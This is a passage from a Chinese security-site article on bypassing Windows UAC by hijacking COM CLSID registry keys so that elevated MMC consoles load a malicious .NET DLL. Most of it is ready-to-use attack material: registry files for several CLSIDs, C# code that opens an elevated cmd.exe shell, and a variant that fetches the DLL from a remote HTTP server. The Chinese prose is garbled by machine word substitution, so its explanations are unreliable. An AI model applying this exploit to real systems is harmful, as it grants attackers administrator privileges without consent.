欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

怎样利用特权.NET应用程序绕开UAC检测

来源:本站整理 作者:佚名 时间:2017-09-21 TAG: 我要投稿
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32] @="C:\Windows\System32\mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSER\Software\Classes\CLSID{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
MMC随后就会加载咱们结构的DLL,并会测验考试拜访TestDotNet.Class1类。默许环境下,C#无奈像DllMain那样,创立一个简略便捷的DLL进口点(咱们也不想专门为此写一个模块初始化程式,因为咱们很懒),但注册表中引用的谁人类彷佛会被加载,是以,咱们能够应用动态结构函数来履行咱们的提权代码:
using System;
using System.Diagnostics;
 
namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      {
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}
DLL和相应的注册表项准备就绪后,如今运转gpedit.msc,咱们就会得到一个高权限shell(此次是经由进程一个 .NET DLL来实现):


这类办法比拟风趣的一点在于,CodeBase参数不用局限于当地文件和SMB同享文件,应用HTTP URL地点也能够实现加载:

"CodeBase"="http://server:8080/test_managed.dll"
所下载的DLL必要保留到磁盘中,是以,绝对比当地DLL而言,这类办法更容易被检测到(因为涉及到磁盘+收集行动)。
攻击者脍炙人口的是,有多个CLSID能够用于这类办法。
好比,compmgmt.msc、eventvwr.msc、secpol.msc和taskschd.msc能够应用如下办法实现UAC绕过目标:
将“Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory”组件作为托管DLL。

Windows Registry Editor Version 5.00
[HKEYCURRENTUSER\Software\Classes\CLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}] @="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEYCURRENTUSER\Software\Classes\CLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]
[HKEYCURRENTUSER\Software\Classes\CLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSER\Software\Classes\CLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32] @="C:\Windows\System32\mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSER\Software\Classes\CLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "CodeBase"="file://C://Temp//test_managed.dll"
将“NDP SymBinder”作为原生DLL,经由进程\Server进口停止挟制。

Windows Registry Editor Version 5.00
[HKEYCURRENTUSER\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}] @="NDP SymBinder"
[HKEYCURRENTUSER\Software\Classes\CLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32] @="C:\Windows\System32\mscoree.dll" "ThreadingModel"="Both"

上一页  [1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载